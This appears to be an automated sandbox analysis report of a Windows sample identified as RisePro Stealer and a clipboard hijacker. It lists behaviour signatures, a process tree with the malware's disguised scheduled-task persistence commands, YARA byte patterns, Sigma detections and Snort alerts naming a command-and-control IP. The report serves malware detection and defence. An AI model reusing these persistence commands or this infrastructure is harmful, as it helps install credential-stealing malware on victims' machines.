Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1429350
MD5:	d937032f47d04da92a0fa530a7b5b919
SHA1:	d07ff5e09b6d39fe506229b156baf87424160ae6
SHA256:	56349484a64abf45ea7b380867d3a2c9dfe9a6554eba52291deabbd35d9eca07
Tags:	exe
Infos:

Detection

Clipboard Hijacker, RisePro Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Clipboard Hijacker

Yara detected RisePro Stealer

Contains functionality to implement multi-threaded time evasion

Creates multiple autostart registry keys

Found stalling execution ending in API Sleep call

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses schtasks.exe or at.exe to add and modify task schedules

Abnormal high CPU Usage

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to launch a process as a different user

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found decision node followed by non-executed suspicious APIs

Found evasive API chain (date check)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE / OLE file has an invalid certificate

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Startup Folder File Write

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Stores files to the Windows start menu directory

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 3580 cmdline: "C:\Users\user\Desktop\file.exe" MD5: D937032F47D04DA92A0FA530A7B5B919)

schtasks.exe (PID: 6156 cmdline: schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 HR" /sc HOURLY /rl HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 5428 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 6600 cmdline: schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 LG" /sc ONLOGON /rl HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7084 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

zy4GXi5yvCrsiS0ulH8Z.exe (PID: 736 cmdline: "C:\Users\user\AppData\Local\Temp\spanBqgSBuerctg2\zy4GXi5yvCrsiS0ulH8Z.exe" MD5: AF6E384DFABDAD52D43CF8429AD8779C)

schtasks.exe (PID: 6532 cmdline: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 5560 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 6400 cmdline: schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c HR" /sc HOURLY /rl HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 2260 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 5596 cmdline: schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c LG" /sc ONLOGON /rl HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 2952 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

hcMSmyGUCSEFc2FAKlzc.exe (PID: 2780 cmdline: "C:\Users\user\AppData\Local\Temp\spanBqgSBuerctg2\hcMSmyGUCSEFc2FAKlzc.exe" MD5: AF6E384DFABDAD52D43CF8429AD8779C)

MSIUpdaterV2.exe (PID: 1276 cmdline: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe MD5: AF6E384DFABDAD52D43CF8429AD8779C)

MSIUpdaterV2.exe (PID: 6648 cmdline: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe MD5: AF6E384DFABDAD52D43CF8429AD8779C)

schtasks.exe (PID: 5952 cmdline: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 5516 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

oobeldr.exe (PID: 5028 cmdline: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe MD5: AF6E384DFABDAD52D43CF8429AD8779C)

schtasks.exe (PID: 1988 cmdline: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 4072 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

MSIUpdaterV2.exe (PID: 4836 cmdline: C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe MD5: AF6E384DFABDAD52D43CF8429AD8779C)

MSIUpdaterV2.exe (PID: 3560 cmdline: C:\ProgramData\MSIUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\MSIUpdaterV2.exe MD5: AF6E384DFABDAD52D43CF8429AD8779C)

AdobeUpdaterV2.exe (PID: 6532 cmdline: "C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe" MD5: AF6E384DFABDAD52D43CF8429AD8779C)

AdobeUpdaterV2.exe (PID: 2876 cmdline: "C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe" MD5: AF6E384DFABDAD52D43CF8429AD8779C)

AdobeUpdaterV2.exe (PID: 4180 cmdline: "C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe" MD5: AF6E384DFABDAD52D43CF8429AD8779C)

AdobeUpdaterV2.exe (PID: 5484 cmdline: "C:\Users\user\AppData\Local\AdobeUpdaterV2_c81e728d9d4c2f636f067f89cc14862c\AdobeUpdaterV2.exe" MD5: AF6E384DFABDAD52D43CF8429AD8779C)

EdgeMS2.exe (PID: 4672 cmdline: "C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe" MD5: AF6E384DFABDAD52D43CF8429AD8779C)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\Xfp4MT9n1IFhi1hjXC4bx59.zip	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
0000001D.00000002.2664724188.0000000000401000.00000020.00000001.01000000.0000000F.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x4c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
0000001D.00000002.2664724188.0000000000401000.00000020.00000001.01000000.0000000F.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1354:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
00000007.00000002.2225780219.0000000000401000.00000020.00000001.01000000.00000007.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x4c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
00000007.00000002.2225780219.0000000000401000.00000020.00000001.01000000.00000007.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1354:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
0000001C.00000002.2581861448.0000000000401000.00000020.00000001.01000000.0000000E.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x4c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
0000001C.00000002.2581861448.0000000000401000.00000020.00000001.01000000.0000000E.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1354:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
00000015.00000002.2271675447.0000000000401000.00000020.00000001.01000000.0000000B.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x4c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
00000015.00000002.2271675447.0000000000401000.00000020.00000001.01000000.0000000B.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1354:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
0000000E.00000002.4491626286.0000000000401000.00000020.00000001.01000000.0000000A.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x4c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
0000000E.00000002.4491626286.0000000000401000.00000020.00000001.01000000.0000000A.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1354:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
00000017.00000002.2280442151.0000000000401000.00000020.00000001.01000000.0000000C.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x4c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
00000017.00000002.2280442151.0000000000401000.00000020.00000001.01000000.0000000C.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1354:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
00000018.00000002.2338388724.0000000000401000.00000020.00000001.01000000.0000000D.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x4c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
00000018.00000002.2338388724.0000000000401000.00000020.00000001.01000000.0000000D.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1354:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
00000000.00000003.2116356968.0000000006588000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
00000016.00000002.2280260250.0000000000401000.00000020.00000001.01000000.0000000C.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x4c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
00000016.00000002.2280260250.0000000000401000.00000020.00000001.01000000.0000000C.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1354:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
00000019.00000002.2418733700.0000000000401000.00000020.00000001.01000000.0000000E.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x4c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
00000019.00000002.2418733700.0000000000401000.00000020.00000001.01000000.0000000E.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1354:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
00000000.00000002.4493848204.0000000006306000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
0000001B.00000002.2502350940.0000000000401000.00000020.00000001.01000000.0000000D.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x4c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
0000001B.00000002.2502350940.0000000000401000.00000020.00000001.01000000.0000000D.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1354:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
00000009.00000002.2237350330.0000000000401000.00000020.00000001.01000000.00000009.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x4c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
00000009.00000002.2237350330.0000000000401000.00000020.00000001.01000000.00000009.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1354:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
0000000B.00000002.2241108576.0000000000401000.00000020.00000001.01000000.00000009.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x4c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
0000000B.00000002.2241108576.0000000000401000.00000020.00000001.01000000.00000009.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1354:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
Process Memory Space: file.exe PID: 3580	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
Process Memory Space: file.exe PID: 3580	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 23 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
21.2.hcMSmyGUCSEFc2FAKlzc.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
21.2.hcMSmyGUCSEFc2FAKlzc.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x6c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
21.2.hcMSmyGUCSEFc2FAKlzc.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1554:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
28.2.AdobeUpdaterV2.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
28.2.AdobeUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x6c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
28.2.AdobeUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1554:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
24.2.AdobeUpdaterV2.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
24.2.AdobeUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x6c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
24.2.AdobeUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1554:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
27.2.AdobeUpdaterV2.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
27.2.AdobeUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x6c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
27.2.AdobeUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1554:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
9.2.MSIUpdaterV2.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
9.2.MSIUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x6c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
9.2.MSIUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1554:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
23.2.MSIUpdaterV2.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
23.2.MSIUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x6c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
23.2.MSIUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1554:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
14.2.oobeldr.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
14.2.oobeldr.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x6c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
14.2.oobeldr.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1554:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
11.2.MSIUpdaterV2.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
11.2.MSIUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x6c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
11.2.MSIUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1554:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
7.2.zy4GXi5yvCrsiS0ulH8Z.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
7.2.zy4GXi5yvCrsiS0ulH8Z.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x6c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
7.2.zy4GXi5yvCrsiS0ulH8Z.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1554:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
22.2.MSIUpdaterV2.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
22.2.MSIUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x6c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
22.2.MSIUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1554:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
25.2.AdobeUpdaterV2.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
25.2.AdobeUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x6c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
25.2.AdobeUpdaterV2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1554:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
29.2.EdgeMS2.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
29.2.EdgeMS2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x6c6:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
29.2.EdgeMS2.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1554:$mutex_setup: 55 8B EC 83 EC 20 53 56 57 E8 9E EC FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00
Click to see the 31 entries

Sigma Signatures

System Summary

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\file.exe, ProcessId: 3580, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\Desktop\file.exe, ProcessId: 3580, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EdgeMS2.lnk

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe", CommandLine: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\spanBqgSBuerctg2\zy4GXi5yvCrsiS0ulH8Z.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\spanBqgSBuerctg2\zy4GXi5yvCrsiS0ulH8Z.exe, ParentProcessId: 736, ParentProcessName: zy4GXi5yvCrsiS0ulH8Z.exe, ProcessCommandLine: /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe", ProcessId: 6532, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Snort Signatures

ET TROJAN [ANY.RUN] RisePro TCP v.0.x (Get_settings) - Source IP: 192.168.2.5 - Destination IP: 193.233.132.47

Timestamp:	04/22/24-01:17:59.560718
SID:	2046268
Source Port:	49707
Destination Port:	50500
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (External IP) - Source IP: 193.233.132.47 - Destination IP: 192.168.2.5

Timestamp:	04/22/24-01:17:58.034432
SID:	2046267
Source Port:	50500
Destination Port:	49707
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN RisePro TCP Heartbeat Packet - Source IP: 192.168.2.5 - Destination IP: 193.233.132.47

Timestamp:	04/22/24-01:17:57.539667
SID:	2049060
Source Port:	49707
Destination Port:	50500
Protocol:	TCP
Classtype:	A Network Trojan was detected

